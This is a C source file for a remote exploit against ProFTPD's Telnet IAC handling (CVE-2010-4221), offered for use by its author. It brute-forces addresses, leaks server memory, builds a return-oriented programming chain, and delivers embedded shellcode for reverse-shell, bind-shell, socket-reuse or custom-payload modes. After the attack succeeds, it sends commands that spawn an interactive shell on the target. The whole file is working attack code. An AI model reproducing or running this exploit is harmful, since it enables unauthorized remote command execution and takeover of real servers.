/*
 * Written by F0rb1dd3n
 *
 * This code exploit CVE-2010-4221 using a 31337 exploitation technique
 * You will be able to inject shellcode using Blind Return Oriented Programming
 * bypassing ASLR and another protections. Enjoy!
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/wait.h>
#include "hacking.h"

#define PADDING 34

// offsets to trigger the flaw
int offset[] = { 4101, 8189 };

// write(2) addresses to bruteforce
unsigned int write_addr[] = { 0x080532d8, 0x0804D23C, 0x0804C9A4, 0x0804C9C4, 0x0804CAA8, 0x0804CBBC, 
	                      0x0804CCE0, 0x0804CA2C, 0x0804C290, 0x0804CCD4, 0x0804C290, 0x0804A85C, 
			      0x0804A234, 0x08052830, 0x08052938, 0x0804CCD4, 0x0804CCBC };

// gadgets to ROP chain
char pop3ret[] = "\x5e\x5f\x5d";
char large_popret[] = "\x83\xc4\x20\x5b\x5e\x5d\xc3";

// shellcode copy routine:
char byte1[] = "\xfc\x8b";              // FC             CLD
char byte2[] = "\xf4";                  // 8BF4           MOV ESI,ESP
char byte3[] = "\xbf";                  // BF 00010010    MOV EDI,10000100
char byte4[] = "\x00\x01\x00";
char byte5[] = "\x10";
char byte6[] = "\xb9\x00\x02\x00\x00";  // B9 00020000    MOV ECX,200
char byte7[] = "\xf3";                  // F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
char byte8[] = "\xa4";
char byte9[] = "\xeb\xff";              // EB FF       JMP +0xFF 

// mmap64 prefixes to search in the leaked memory of the server
char mmap64_pre_1[] = "\xc7\x44\x24\x08\x03\x00\x00\x00\xc7\x04\x24\x00\x00\x00\x00\x89\x44\x24\x04";
char mmap64_pre_2[] = "\x89\x44\x24\x10\xa1\xbc\xa5\x0f\x08\x89\x44\x24\x04\xe8";

// memcpy prefixes to search in the leaked memory of the server
char memcpy_pre_1[] = "\x8D\x45\xF4\x89\x04\x24\x89\x54\x24\x08\x8B\x55\x08\x89\x54\x24\x04\xE8";
char memcpy_pre_2[] = "\x8B\x56\x10\x89\x44\x24\x08\x89\x54\x24\x04\x8B\x45\xE4\x89\x04\x24\xe8";
char memcpy_pre_3[] = "\x89\x44\x24\x04\xA1\xBC\x9F\x0E\x08\x89\x04\x24";
char memcpy_pre_4[] = "\x89\x7C\x24\x04\x89\x1C\x24\x89\x44\x24\x08";
char memcpy_pre_5[] = "\x8B\x55\x10\x89\x74\x24\x04\x89\x04\x24\x89\x54\x24\x08";

// mmap64 arguments to ROP chain
char mmap64_args[]="\x00\x00\x00\x10"
                   "\x00\x10\x00\x00"
                   "\x07\x00\x00\x00"
                   "\x32\x00\x00\x00"
                   "\xff\xff\xff\xff"
                   "\x00\x00\x00\x00"
                   "\x00\x00\x00\x00"
                   "\x00\x00\x00\x00"
                   "\x00\x00\x00\x00"
                   "\x00\x00\x00\x00"
                   "\x00\x00\x00\x00";

// Connect back shellcode - 95 bytes
char reverse_shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66"
                           "\x58\x6a\x01\x5b\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
                           "\x68\x7f\x7f\x7f\x7f\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a"
                           "\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66\x58\xcd\x80"
                           "\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31"
                           "\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
                           "\x53\x89\xe1\xcd\x80";

// Bind shellcode - 97 bytes
char bind_shellcode[] = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd"
			"\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1"
			"\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89"
			"\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a"
			"\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x62\x61"
			"\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x52"
			"\x89\xe2\x53\x89\xe1\xcd\x80";

// execve /bin/bash Shellcode - 29 bytes
char reuse_shellcode[] = "\x6a\x0b\x58\x99\x52\x31\xf6\x56\x68\x62\x61\x73\x68\x68\x2f"
			 "\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80";

int main(int argc, char **argv) {
	int sockfd, result, port, align, b_size, addr, mmap64_addr, memcpy_addr, index = 0, sc_len;
   	fd_set readset;
   	pid_t pid;
   	struct timeval timeout;
   	struct linger linger;
   	struct hostent *host_info, *my_host_info;
   	struct sockaddr_in target_addr;
	FILE * fd;
	size_t r_result;
   	unsigned char *buffer, *shellcode, f_shellcode[512], lhost[20];
   	unsigned char read_buffer[0xfffff];
   	unsigned int r_write, p3r, lpr, byte1_addr, byte2_addr, byte3_addr, byte4_addr, 
			byte5_addr, byte6_addr, byte7_addr, byte8_addr, byte9_addr;

	if(argc < 4) {
      		printf("\n\e[01;36mProftpd Telnet IAC remote generic exploit\e[00m\n");
      		printf("\e[00;31mWriten by: F0rb1dd3n\e[00m\n");
      		printf("\nUsage: %s <target IP> <target PORT> <attack type>\n", argv[0]);
		printf("\nAttack Types:\t0 - Socket Reuse");
		printf("\n\t\t1 - Reverse Shell");
		printf("\n\t\t2 - Bind Shell"); 
		printf("\n\t\t3 - Your own shellcode (raw format)\n\n"); 
      		exit(1);
   	}

   	system("clear");

   	printf("\e[01;36mProftpd Telnet IAC remote generic exploit\e[00m\n");
   	printf("\e[00;31mWriten by: F0rb1dd3n\e[00m\n");
   	printf("\nTarget: %s\t\tPort: %s", argv[1], argv[2]);

	if(atoi(argv[3]) == 0){
		// To re-use socket on this server we don't need dup2() because
		// the sock on proftpd already redirect stdin and stdout to socket
		// NICE! :)
		
		printf("\n\n\e[01;36mSocket Reuse Selected... \e[00m");

		sc_len = 29;
		shellcode = (char *) malloc(sc_len);
		memcpy(shellcode, reuse_shellcode, sc_len);
#ifdef DEBUG
		dump(shellcode, sc_len);
#endif
	}

	if(atoi(argv[3]) == 1) {
		printf("\n\n\e[01;36mReverse Shell Selected\e[00m\n");
		printf("\nEnter with reverse IP: ");
		scanf("%s", lhost);
		printf("Enter with reverse PORT: ");
		scanf("%d", &port);
		printf("\n");
		//printf("Reverse IP: %s\tReverse Port: %d\n\n", lhost, port);
	     
		// Setting reverse IP and PORT on shellcode 
   		if((my_host_info = gethostbyname(lhost)) == NULL)
      			fatal("looking up your hostname");

   		memcpy(reverse_shellcode+31, my_host_info->h_addr, my_host_info->h_length);
		memcpy(reverse_shellcode+37, &port, 2);

		sc_len = 95;
		shellcode = (char *) malloc(sc_len);
		memcpy(shellcode, reverse_shellcode, sc_len);
#ifdef DEBUG
		dump(shellcode, sc_len);
#endif
	}
	
	if(atoi(argv[3]) == 2) {
		printf("\n\n\e[01;36mBind Shell Selected\e[00m\n");
		printf("\nEnter with bind PORT: ");
		scanf("%d", &port);
		printf("\n");
   		//printf("Bind Port: %d\n\n", port);
	     
		// Setting bind PORT on shellcode
   		memcpy(bind_shellcode+24, &port, 2);
		
		sc_len = 97;
		shellcode = (char *) malloc(sc_len);
		memcpy(shellcode, bind_shellcode, sc_len);
#ifdef DEBUG
		dump(shellcode, sc_len);
#endif	
	}

	if(atoi(argv[3]) == 3){
		printf("\n\n\e[01;36mYour Own Shellcode Selected\e[00m\n");
		printf("\nEnter your shellcode's file (raw format): ");
		scanf("%s", f_shellcode);

		fd = fopen(f_shellcode, "rb");
		if (fd == NULL) 
			fatal("on file openning");

		// getting the size of the file
		fseek(fd, 0, SEEK_END);
		sc_len = ftell(fd);
		rewind(fd);

		// allocate memory to contain the whole file:
		shellcode = (char*) malloc (sc_len);

		// copy the file into the buffer:
		r_result = fread(shellcode, 1, sc_len, fd);
		if (r_result != sc_len)
	       		fatal("on readding file");

		fclose (fd);
#ifdef DEBUG
		dump(shellcode, sc_len);
#endif
		printf("\e[01;33mYou need to configure your own listener!\e[00m\n\n");
	}

	printf("\e[01;36mInitializing Attack\e[00m\n");

   	// Setting connection parameters
   	if((host_info = gethostbyname(argv[1])) == NULL)
      		fatal("looking up hostname");

   	target_addr.sin_family = AF_INET;
   	target_addr.sin_port = htons(atoi(argv[2]));   
   	target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
   	memset(&(target_addr.sin_zero), '\0', 8); // zero the rest of the struct
   
   	if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
      		fatal("in socket");

   	printf("\nAttempting to connect to the server...\n");

   	if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1){
      		fatal("on connecting to target server");
   	} else {
      		printf("%s Connected!\n", good);
   	}

   	bzero(read_buffer, sizeof(read_buffer));
   
   	if(read(sockfd, read_buffer, 500) > 0) {
   		printf("%s Banner: \e[01;36m%s\e[00m", good, read_buffer);
   		b_size = strlen(read_buffer);
   	}
   	close(sockfd);

   	// Values for socket options
   	timeout.tv_sec = 5;
   	timeout.tv_usec = 0; 
   	linger.l_onoff = 1;
   	linger.l_linger = 0;

   	// Trying offsets to trigger the vulnerability
   	for(int i = 0; i < sizeof(offset)/sizeof(offset[0]); i++){
   
		printf("\nTrying with offset: %d\n", offset[i]);

		// Preparing the buffer
   		buffer = (char *) malloc(offset[i]+1+PADDING+22);
   	
		bzero(buffer, offset[i]+1+PADDING+22);
   		memcpy(buffer+offset[i], "\xff", 1);
   		memset(buffer+offset[i]+1, 'A', PADDING);
   		/* write_addr will be added in this position */
   		memcpy(buffer+offset[i]+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4);
   		*((unsigned int *)(buffer+offset[i]+1+PADDING+8)) = 0x00000001;                
   		/* write_addr will be added in this position */
   		*((unsigned int *)(buffer+offset[i]+1+PADDING+16)) = 0x0000ffff;             
   		memcpy(buffer+offset[i]+1+PADDING+20, "\x0a\x0d", 2);
	
		/*
		 *  Bruteforcing write(2) plt address
		 *
		 *  You can bruteforce byte-by-byte to find write(2) offset, but 
		 *  we are bruteforcing some address on write_addr array. This
		 *  addresses were found debugging different distros, feel free
		 *  to add more.
		 *
		*/
   		for(int j = 0; j < sizeof(write_addr)/sizeof(write_addr[0]); j++){

			fflush(stdout);
   			printf("Bruteforcing write(2) plt address: 0x%08x\r", write_addr[j]);

			// Taking write address to inside our buffer
			*((unsigned int *)(buffer+offset[i]+1+PADDING)) = write_addr[j];
   			*((unsigned int *)(buffer+offset[i]+1+PADDING+12)) = write_addr[j];

			// Connecting to the server
   			if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
      				fatal("in socket");

   			if (setsockopt (sockfd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)) == -1)
	   			fatal("setsockopt. Failed on set SO_RCVTIMEO");   
   		
			if (setsockopt (sockfd, SOL_SOCKET, SO_LINGER, (char *)&linger, sizeof(linger)) == -1)
	   			fatal("setsockopt. Failed on set SO_LINGER");   
   	
			if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
				fatal("on connecting to target server");

   			bzero(read_buffer, sizeof(read_buffer));
   			read(sockfd, read_buffer, b_size);            // Reading the banner before
   			bzero(read_buffer, sizeof(read_buffer));
	
			// Sending a buffer  	 	
   			write(sockfd, buffer, offset[i]+1+PADDING+22);
	
			// Waiting response
			usleep(100*1000);
			FD_ZERO(&readset);
			FD_SET(sockfd, &readset);
			result = select(sockfd+1, &readset, NULL, NULL, &timeout);

   			if (result == -1) {
   				fatal("in select()");
   			} else if (result > 0) {
   				if (FD_ISSET(sockfd, &readset)) {
   					if(recv(sockfd, read_buffer, 0xffff, MSG_WAITALL) == 0xffff) {
      						printf("\n%s Success with offset: \e[01;36m%d\e[00m", good, offset[i]);
						printf("\n%s Success on write(2): \e[01;36m0x%08x\e[00m\n", good, write_addr[j]);
						close(sockfd);
						free(buffer);
#ifdef DEBUG
     						dump(read_buffer, 0xffff);
#endif	
   						align = offset[i];
						r_write = write_addr[j];
						goto exploit;
					} 
   				}
   			}

			// Shuting down the socket
			close(sockfd);
   		}
		printf("\n%s No write(2) found\n", bad);
		free(buffer);
   	}
   	printf("%s Cannot be found offset or write(2) address. Exploit failed!\n\n", bad);
   	exit(0);

exploit:

   printf("\nAttempting to read memory from server...");
   
   buffer = (char *) malloc(align+1+PADDING+22);

   bzero(buffer, align+1+PADDING+22);
   memcpy(buffer+align, "\xff", 1);
   memset(buffer+align+1, 'A', PADDING);
   *((unsigned int *)(buffer+align+1+PADDING)) = r_write;
   memcpy(buffer+align+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4);
   *((unsigned int *)(buffer+align+1+PADDING+8)) = 0x00000001;                
   *((unsigned int *)(buffer+align+1+PADDING+12)) = r_write;
   *((unsigned int *)(buffer+align+1+PADDING+16)) = 0x000fffff;             
   memcpy(buffer+align+1+PADDING+20, "\x0a\x0d", 2);
	
   // Connecting to the server
   if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
   	fatal("in socket");

   if (setsockopt (sockfd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)) == -1)
	fatal("setsockopt. Failed on set SO_RCVTIMEO");   
   
   if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
	fatal("on connecting to target server");

   bzero(read_buffer, sizeof(read_buffer));
   read(sockfd, read_buffer, b_size);            // Reading the banner before
   bzero(read_buffer, sizeof(read_buffer));
	
   // Sending a buffer  	 	
   write(sockfd, buffer, align+1+PADDING+22);
   free(buffer);

   // Reading response
   FD_ZERO(&readset);
   FD_SET(sockfd, &readset);
   result = select(sockfd+1, &readset, NULL, NULL, &timeout);

   if (result == -1) {
   	fatal("in select()");
   } else if (result == 0) {
	printf("\n%s Timeout! Could not get memory from the server!\n\n", bad);
	exit(0);
   } else if (result > 0) {
   	if (FD_ISSET(sockfd, &readset)) {
   		if(recv(sockfd, read_buffer, 0xfffff, MSG_WAITALL) <= 0) {
			printf("\n%s Fail! Could not read memory from the server!\n\n", bad);
			exit(0);
		} 
   	}
   }

   // Shuting down the socket
   close(sockfd);
   
   // Initializating...
   mmap64_addr = r_write;
   memcpy_addr = r_write;
   p3r = r_write;
   lpr = r_write;
   byte1_addr = r_write;
   byte2_addr = r_write;
   byte3_addr = r_write;
   byte4_addr = r_write;
   byte5_addr = r_write;
   byte6_addr = r_write;
   byte7_addr = r_write;
   byte8_addr = r_write;
   byte9_addr = r_write;

   // Trying to find mmap64
   index = index_of(read_buffer, sizeof(read_buffer), mmap64_pre_1, sizeof(mmap64_pre_1)-1);
   if(index >= 0){
	addr = r_write + index + 23;
	memcpy(&mmap64_addr, read_buffer+index+20, 4);
	mmap64_addr = addr - (0xffffffff - mmap64_addr);
	printf("\n%s mmap64 is located at \e[01;36m0x%08x\e[00m", good, mmap64_addr);
   } else {
   		if(index = index_of(read_buffer, sizeof(read_buffer), mmap64_pre_2, sizeof(mmap64_pre_2)-1) >= 0){
			addr = r_write + index + 17;
			memcpy(&mmap64_addr, read_buffer+index+14, 4);
			mmap64_addr = addr - (0xffffffff - mmap64_addr);
      			printf("\n%s mmap64 is located at \e[01;36m0x%08x\e[00m", good, mmap64_addr);
		} else {
			printf("\n%s Fail! Could not find mmap64!\n\n", bad);
			exit(0);
	}
   }
 
   // Trying to find memcpy
   index = index_of(read_buffer, sizeof(read_buffer), memcpy_pre_1, sizeof(memcpy_pre_1)-1);
   if(index >= 0){
	addr = r_write + index + 21;
	memcpy(&memcpy_addr, read_buffer+index+18, 4);
	memcpy_addr = addr - (0xffffffff - memcpy_addr);
	printf("\n%s memcpy is located at \e[01;36m0x%08x\e[00m", good, memcpy_addr);
   } else {
   	index = index_of(read_buffer, sizeof(read_buffer), memcpy_pre_2, sizeof(memcpy_pre_2)-1);	   
	if(index >= 0){
		addr = r_write + index + 21;
		memcpy(&memcpy_addr, read_buffer+index+18, 4);
		memcpy_addr = addr - (0xffffffff - memcpy_addr);
		printf("\n%s memcpy is located at \e[01;36m0x%08x\e[00m", good, memcpy_addr);
	} else {
		index = index_of(read_buffer, sizeof(read_buffer), memcpy_pre_3, sizeof(memcpy_pre_3)-1);
		if(index >= 0){
			addr = r_write + index + 16;
			memcpy(&memcpy_addr, read_buffer+index+13, 4);
			memcpy_addr = addr - (0xffffffff - memcpy_addr);
			printf("\n%s memcpy is located at \e[01;36m0x%08x\e[00m", good, memcpy_addr);
		} else {
			index = index_of(read_buffer, sizeof(read_buffer), memcpy_pre_4, sizeof(memcpy_pre_4)-1); 
			if(index >= 0){
				addr = r_write + index + 15;
				memcpy(&memcpy_addr, read_buffer+index+12, 4);
				memcpy_addr = addr - (0xffffffff - memcpy_addr);
				printf("\n%s memcpy is located at \e[01;36m0x%08x\e[00m", good, memcpy_addr);
			} else {
				index = index_of(read_buffer, sizeof(read_buffer), memcpy_pre_5, sizeof(memcpy_pre_5)-1); 
				if(index >= 0){
					addr = r_write + index + 18;
					memcpy(&memcpy_addr, read_buffer+index+15, 4);
					memcpy_addr = addr - (0xffffffff - memcpy_addr);
					printf("\n%s memcpy is located at \e[01;36m0x%08x\e[00m", good, memcpy_addr);
				} else {
					printf("\n%s Fail! Could not find memcpy!\n\n", bad);
					exit(0);
				}
			}
		}
   	}
   }

   // Trying to find Pop Ret location
 
   index = index_of(read_buffer, sizeof(read_buffer), pop3ret, sizeof(pop3ret)-1); 
   if(index >= 0){
	p3r += index;
	printf("\n%s Pop3Ret is located at \e[01;36m0x%08x\e[00m", good, p3r);
   } else {
	printf("\n%s Fail! Could not find Pop3Ret!\n\n", bad);
	exit(0);
   }
   
   index = index_of(read_buffer, sizeof(read_buffer), large_popret, sizeof(large_popret)-1); 
   if(index >= 0){
	lpr += index;
	printf("\n%s Large PopRet is located at \e[01;36m0x%08x\e[00m", good, lpr);
   } else {
	printf("\n%s Fail! Could not find Large PopRet!\n\n", bad);
	exit(0);
   }

   // Trying to find special bytes location to shellcode copy routine

   index = index_of(read_buffer, sizeof(read_buffer), byte1, sizeof(byte1)-1); 
   if(index >= 0){
	byte1_addr += index;
	printf("\n%s Byte1 is located at \e[01;36m0x%08x\e[00m", good, byte1_addr);
   } else {
	printf("\n%s Fail! Could not find Byte1!\n\n", bad);
	exit(0);
   }

   index = index_of(read_buffer, sizeof(read_buffer), byte2, sizeof(byte2)-1); 
   if(index >= 0){
	byte2_addr += index;
	printf("\n%s Byte2 is located at \e[01;36m0x%08x\e[00m", good, byte2_addr);
   } else {
	printf("\n%s Fail! Could not find Byte2!\n\n", bad);
	exit(0);
   }

   index = index_of(read_buffer, sizeof(read_buffer), byte3, sizeof(byte3)-1); 
   if(index >= 0){
	byte3_addr += index;
	printf("\n%s Byte3 is located at \e[01;36m0x%08x\e[00m", good, byte3_addr);
   } else {
	printf("\n%s Fail! Could not find Byte3!\n\n", bad);
	exit(0);
   } 

   index = index_of(read_buffer, sizeof(read_buffer), byte4, sizeof(byte4)-1);
   if(index >= 0){
	byte4_addr += index;
	printf("\n%s Byte4 is located at \e[01;36m0x%08x\e[00m", good, byte4_addr);
   } else {
	printf("\n%s Fail! Could not find Byte4!\n\n", bad);
	exit(0);
   }

   index = index_of(read_buffer, sizeof(read_buffer), byte5, sizeof(byte5)-1); 
   if(index >= 0){
	byte5_addr += index;
	printf("\n%s Byte5 is located at \e[01;36m0x%08x\e[00m", good, byte5_addr);
   } else {
	printf("\n%s Fail! Could not find Byte5!\n\n", bad);
	exit(0);
   }

   index = index_of(read_buffer, sizeof(read_buffer), byte6, sizeof(byte6)-1); 
   if(index >= 0){
	byte6_addr += index;
	printf("\n%s Byte6 is located at \e[01;36m0x%08x\e[00m", good, byte6_addr);
   } else {
	printf("\n%s Fail! Could not find Byte6!\n\n", bad);
	exit(0);
   }

   index = index_of(read_buffer, sizeof(read_buffer), byte7, sizeof(byte7)-1); 
   if(index >= 0){
	byte7_addr += index;
	printf("\n%s Byte7 is located at \e[01;36m0x%08x\e[00m", good, byte7_addr);
   } else {
	printf("\n%s Fail! Could not find Byte7!\n\n", bad);
	exit(0);
   }

   index = index_of(read_buffer, sizeof(read_buffer), byte8, sizeof(byte8)-1); 
   if(index >= 0){
	byte8_addr += index;
	printf("\n%s Byte8 is located at \e[01;36m0x%08x\e[00m", good, byte8_addr);
   } else {
	printf("\n%s Fail! Could not find Byte8!\n\n", bad);
	exit(0);
   }

   index = index_of(read_buffer, sizeof(read_buffer), byte9, sizeof(byte9)-1); 
   if(index >= 0){
	byte9_addr += index;
	printf("\n%s Byte9 is located at \e[01;36m0x%08x\e[00m", good, byte9_addr);
   } else {
	printf("\n%s Fail! Could not find Byte9!\n\n", bad);
	exit(0);
   }

   printf("\n\nBuilding exploit buffer...\n");

   buffer = (char *) malloc(align+1+PADDING+336+sc_len+12);

   // Here we will build our ROP chain

   bzero(buffer, align+1+PADDING+336+sc_len+12);
   memcpy(buffer+align, "\xff", 1);
   memset(buffer+align+1, 'A', PADDING);
   *((unsigned int *)(buffer+align+1+PADDING)) = mmap64_addr;
   *((unsigned int *)(buffer+align+1+PADDING+4)) = lpr;                     
   memcpy(buffer+align+1+PADDING+8, mmap64_args, sizeof(mmap64_args));

   *((unsigned int *)(buffer+align+1+PADDING+52)) = memcpy_addr;       
   *((unsigned int *)(buffer+align+1+PADDING+56)) = p3r;                  
   memcpy(buffer+align+1+PADDING+60, "\x00\x00\x00\x10", 4);
   *((unsigned int *)(buffer+align+1+PADDING+64)) = byte1_addr;
   memcpy(buffer+align+1+PADDING+68, "\x02\x00\x00\x00", 4); 

   *((unsigned int *)(buffer+align+1+PADDING+72)) = memcpy_addr;       
   *((unsigned int *)(buffer+align+1+PADDING+76)) = p3r;                  
   memcpy(buffer+align+1+PADDING+80, "\x02\x00\x00\x10", 4);
   *((unsigned int *)(buffer+align+1+PADDING+84)) = byte2_addr;
   memcpy(buffer+align+1+PADDING+88, "\x01\x00\x00\x00", 4);

   *((unsigned int *)(buffer+align+1+PADDING+92)) = memcpy_addr;       
   *((unsigned int *)(buffer+align+1+PADDING+96)) = p3r;                  
   memcpy(buffer+align+1+PADDING+100, "\x03\x00\x00\x10", 4);
   *((unsigned int *)(buffer+align+1+PADDING+104)) = byte3_addr;
   memcpy(buffer+align+1+PADDING+108, "\x01\x00\x00\x00", 4);

   *((unsigned int *)(buffer+align+1+PADDING+112)) = memcpy_addr;       
   *((unsigned int *)(buffer+align+1+PADDING+116)) = p3r;                  
   memcpy(buffer+align+1+PADDING+120, "\x04\x00\x00\x10", 4);
   *((unsigned int *)(buffer+align+1+PADDING+124)) = byte4_addr;
   memcpy(buffer+align+1+PADDING+128, "\x03\x00\x00\x00", 4);

   *((unsigned int *)(buffer+align+1+PADDING+132)) = memcpy_addr;       
   *((unsigned int *)(buffer+align+1+PADDING+136)) = p3r;                  
   memcpy(buffer+align+1+PADDING+140, "\x07\x00\x00\x10", 4);
   *((unsigned int *)(buffer+align+1+PADDING+144)) = byte5_addr;
   memcpy(buffer+align+1+PADDING+148, "\x01\x00\x00\x00", 4);

   *((unsigned int *)(buffer+align+1+PADDING+152)) = memcpy_addr;       
   *((unsigned int *)(buffer+align+1+PADDING+156)) = p3r;                  
   memcpy(buffer+align+1+PADDING+160, "\x08\x00\x00\x10", 4);
   *((unsigned int *)(buffer+align+1+PADDING+164)) = byte6_addr;
   memcpy(buffer+align+1+PADDING+168, "\x05\x00\x00\x00", 4);

   *((unsigned int *)(buffer+align+1+PADDING+172)) = memcpy_addr;       
   *((unsigned int *)(buffer+align+1+PADDING+176)) = p3r;                  
   memcpy(buffer+align+1+PADDING+180, "\x0d\x00\x00\x10", 4);
   *((unsigned int *)(buffer+align+1+PADDING+184)) = byte7_addr;
   memcpy(buffer+align+1+PADDING+188, "\x01\x00\x00\x00", 4);

   *((unsigned int *)(buffer+align+1+PADDING+192)) = memcpy_addr;       
   *((unsigned int *)(buffer+align+1+PADDING+196)) = p3r;                  
   memcpy(buffer+align+1+PADDING+200, "\x0e\x00\x00\x10", 4);
   *((unsigned int *)(buffer+align+1+PADDING+204)) = byte8_addr;
   memcpy(buffer+align+1+PADDING+208, "\x01\x00\x00\x00", 4);

   *((unsigned int *)(buffer+align+1+PADDING+212)) = memcpy_addr;       
   *((unsigned int *)(buffer+align+1+PADDING+216)) = p3r;                  
   memcpy(buffer+align+1+PADDING+220, "\x0f\x00\x00\x10", 4);
   *((unsigned int *)(buffer+align+1+PADDING+224)) = byte9_addr;
   memcpy(buffer+align+1+PADDING+228, "\x02\x00\x00\x00", 4);

   memcpy(buffer+align+1+PADDING+232, "\x00\x00\x00\x10", 4);
   memset(buffer+align+1+PADDING+236, '\x90', 205);
   memcpy(buffer+align+1+PADDING+336, shellcode, sc_len);
   memcpy(buffer+align+1+PADDING+336+sc_len+10, "\x0a\x0d", 2);

   printf("%s OK!\n", good);
   printf("\nExploiting:\n", good);

   if(atoi(argv[3]) == 0){
	// Connecting to the server
   	if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
   		fatal("in socket");
   	
	if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
		fatal("on connecting to target server");

	bzero(read_buffer, sizeof(read_buffer));

	if(read(sockfd, read_buffer, b_size) <= 0)
		fatal("on reading banner");

	// Sending the buffer  	 	
	write(sockfd, buffer, align+1+PADDING+336+sc_len+12);

	write(STDOUT_FILENO, good, sizeof(good));
       	write(STDOUT_FILENO, " Evil buffer was sent!\n", 24);

    	usleep(100*1500);

	if(checkshell(sockfd) == -1) {
		fatal(" shell is not openned");
	} else {
		printf("%s Shell is openned!\n\n", good);
	}
	
	send(sockfd, "uname -a; id; echo; export TERM=linux;\n", 39, 0); 
	send(sockfd, "python -c 'import pty;pty.spawn(\"/bin/bash\")';\n", 47, 0);
	shell(sockfd);
	send(sockfd, "exit\n", 5, 0); // because of python pty it is necessary exit 2 times
	close(sockfd);
	
   }

   if(atoi(argv[3]) == 1) {

   	pid = fork();

   	if(pid == -1)
		fatal("on forking proccess");

   	if(pid > 0)
		listener(port);

   	if(pid == 0){
   		usleep(100*1500);
   	
		// Connecting to the server
   		if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
   			fatal("in socket");
   	
   		if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
			fatal("on connecting to target server");

   		// Sending the buffer  	 	
   		write(sockfd, buffer, align+1+PADDING+336+sc_len+12);
   		close(sockfd);

		write(STDOUT_FILENO, good, sizeof(good));
        	write(STDOUT_FILENO, " Evil buffer was sent!\n", 24);
   	}
   }
   
   if(atoi(argv[3]) == 2) {
	// Connecting to the server
   	if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
   		fatal("in socket");
   	
	if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
		fatal("on connecting to target server");

	// Sending the buffer  	 	
	write(sockfd, buffer, align+1+PADDING+336+sc_len+12);
	close(sockfd);

	write(STDOUT_FILENO, good, sizeof(good));
       	write(STDOUT_FILENO, " Evil buffer was sent!\n", 24);

	usleep(100*2000);
	bind_conn(argv[1], port);
   }
   
   if(atoi(argv[3]) == 3) {
	// Connecting to the server
   	if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
   		fatal("in socket");
   	
	if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
		fatal("on connecting to target server");

	// Sending the buffer  	 	
	write(sockfd, buffer, align+1+PADDING+336+sc_len+12);
	close(sockfd);

	write(STDOUT_FILENO, good, sizeof(good));
       	write(STDOUT_FILENO, " Evil buffer was sent!\n\n", 24);

   }
}

